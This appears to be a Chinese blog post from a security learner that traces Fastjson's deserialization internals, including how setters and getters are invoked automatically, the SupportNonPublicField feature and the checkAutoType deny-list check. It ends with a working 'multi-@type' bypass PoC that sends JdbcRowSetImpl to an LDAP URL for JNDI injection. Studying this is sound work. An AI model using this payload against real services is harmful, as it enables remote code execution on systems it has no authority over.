0x01 写在前面

说来惭愧,从 JNDI 开始的文章几乎都是跟着 Drunkbaby 师傅的博客走一遍利用链,自己的思考少了很多,这种脑袋空空的学习是很轻松的,但是学完以后心里也不不踏实,虽然这篇文章仍然是参考 Drunkbaby 师傅,但是我希望能融入自己的思考

0x02 Fastjson 原理浅析

由前面的学习我们知道,完成 Fastjson 反序列化的方法有两种:

  • parseObject():返回 fastjson.JSONObject
  • parse():返回指定类(如下 People 类)

img

但是我们可以向 parseObject() 中传递 类的class 参数(demo 中为 Object.classPeople.class)达到和 parse() 同样的效果:

img

这里我们深入看一下 JSON 类里面的 parseObject()parse() 方法,它们被重写了很多,参数大同小异我们拿常用的进行分析:

img

parse 方法解析

1
2
3
4
5
6
7
8
public static Object parse(String text, Feature... features) {
int featureValues = _DEFAULT_PARSER_FEATURE_;
for (Feature feature : features) {
featureValues = Feature._config_(featureValues, feature, true);
}

return _parse_(text, featureValues);
}

这里传入两个参数,一个是 String text,也就是我们要拿去反序列化解析的字符串,另外一个参数是 Feature,Feature 并没有什么特别大的用处,如果没有选择该 Feature,那么在反序列的过程中,Fastjson 会自动把下划线命名的 json 字符串转化到驼峰式命名的 Java 对象字段中

这里有个调试过程中值得注意的点,parse()parseObject``() 方法一样,在反序列化时实际上两者都会走到 DefaultJSONParser#parseObject

img

parseObject 方法解析

比较重要的自然是第二个参数 clazz,也就是我们前面在 demo 中传入的 Object.class,实际上对于很多开发者,为了省事,会在第二个参数传入 Object.class

1
2
3
public static <T> T parseObject(String text, Class<T> clazz) {
return _parseObject_(text, clazz, new Feature[0]);
}

具体的就不再赘述了,在实际开发场景当中 parseObject() 用到的非常多,基本全部都是

下面我们详细看一看为什么 Fastjson 在反序列化的时候会自动调用 getter/setter 方法,同时也过一遍 Fastjson 反序列化的流程

getter/setter 自动调用

断点下在 DefaultJSONParser#parseObject 里面的 derializer.deserialze() 就好,前面的过程都是在互相调用,可以直接看这里的业务层,跟进

img

这里做的业务比较特殊:如果传进来要解析的类是 Array 数组类,就直接进行 newInstance() 的实例化,并且将数组数据返回,如果传进来的不是 Array 数组类,而是 Object 类,或是不可以反序列化的类,就会走到下一个业务方法的 parseObject() 里面

传进来的不是 Array 数组类,而是 Object 类,或是不可以反序列化的类,就会走到下一个业务方法的 parseObject() 里面,这里我们的 type 为 Object.class 所以不满足条件,走到 parser.parse(fieldName)

img

跳出这个方法后,我们又进入新的 DefaultJSONParser#parseObject,业务流程是先做了一个基础的判断 token 是否相同

img

DefaultJSONParser 类的 367 行,把 deserializer 的值拿出来,赋给 deserializer,跟进一下

img

跟过来是一个方法,继续往下跟进具体的业务方法

img

前面都是做了很多数据处理,到第 461 行这里,跟进 createJavaBeanDeserializer()

img

继续往下走,终于才能看到我们的主角登场了 JavaBeanInfo#build

img

JavaBeanInfo#build 先通过反射获取我们 @type 里面要去反序列化的那个类的一些基本信息

img

328 行开始有一个 for 循环,当中把 @type 类对应的 Methods 全部拿出来

img

首先会遍历 methods 中所有的 method 方法,然后会经过四个判断,只要符合任意一个判断就会触发 continue 跳出当前循环,所以必须要满足下面列出来的五个方法才能顺利执行,否则就会跳出当前循环

  1. 方法名长度不能小于 4
  2. 不能是静态方法
  3. 返回的类型必须是 void 或者是自己本身
  4. 传入参数个数必须为 1
  5. 方法开头必须是 set

最后将可用的 setter 方法放到 fieldList 里面:

img

此时,在 fieldList 当中,有两个 FieldInfo,这也就是我们的三个 setter 方法:SetName() SetAge()

img

下面我们来看 getter 方法是如何被获取到的,和 setter 大同小异,首先会遍历 methods 中的每个方法,同样的如果要顺利执行下去需要符合四个条件

  1. 方法名长度不小于 4
  2. 不能是静态方法
  3. 方法名要 get 开头同时第四个字符串要大写
  4. 方法返回的类型必须继承自 Collection Map AtomicBoolean AtomicInteger AtomicLong
  5. 传入的参数个数需要为 0

img

最后返回 JavaBeanInfobeanInfo 中会存放我们类中的各种信息

img

后续,在 JavaBeanDeserializer#deserialze 方法中,对 FieldInfo 进行循环遍历,将每一个可用的 setter 与 getter 方法拿出来在其 593 行,跟进 fieldDeser.setValue(object, fieldValue) 里面就是反射调用方法的语句:

img

0x03 Fastjson 其他点解析

这部分前面的文章其实讲过了,这里点到为止

Feature.SupportNonPublicField

由于该字段在 fastjson1.2.22 版本引入,所以只能影响 1.2.22-1.2.24

在前面的 Evil 类中,可以发现我们的 setter 和 getter 方法是 public 的,但是如果有时候遇到 private 的情况我们就不能进行反序列化了,会返回 null

这时我们可以添加 SerializerFeature.WriteClassName 参数,这样私有属性 _bytecodes_tfactory 就会被 fastjson 正常反序列化了

关于 checkAutoType

  • 这其实是从 Fastjson 1.2.24 版本之后出来的修复点。

checkAutoType() 函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList 为白名单(默认为空,可手动添加),denyList 为黑名单(默认不为空)。

默认情况下,autoTypeSupport 为 False,即先进行黑名单过滤,遍历 denyList,如果引入的库以 denyList 中某个 deny 开头,就会抛出异常,中断运行。

true: 先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤

false: 先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错

0x04 多 @type 通杀型 EXP

在运行完毕后会返回一个 obj,这个 obj 里面是类名以及其对应的属性值,这个属性值会保存到 map 里面

这个 map 放了原本的值,也就是我们说的缓存,可以通过 TypeUtils.getClassFromMapping() 来加载

1
2
3
4
5
6
7
8
9
10
import com.alibaba.fastjson.JSON;

public class JdbcRowSetImplPoc {
public static void main(String[] argv){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},"
+ "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\","
+ "\"dataSourceName\":\"ldap://localhost:1389/Exploit\",\"autoCommit\":true}}";
JSON.parse(payload);
}
}

具体分析:Java-Fastjson 反序列化各版本绕过分析

参考:

https://drun1baby.top/2022/10/19/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8705-%E5%86%99%E7%BB%99%E8%87%AA%E5%B7%B1%E7%9C%8B%E7%9A%84%E4%B8%80%E4%BA%9B%E6%BA%90%E7%A0%81%E6%B7%B1%E5%85%A5%E5%88%86%E6%9E%90/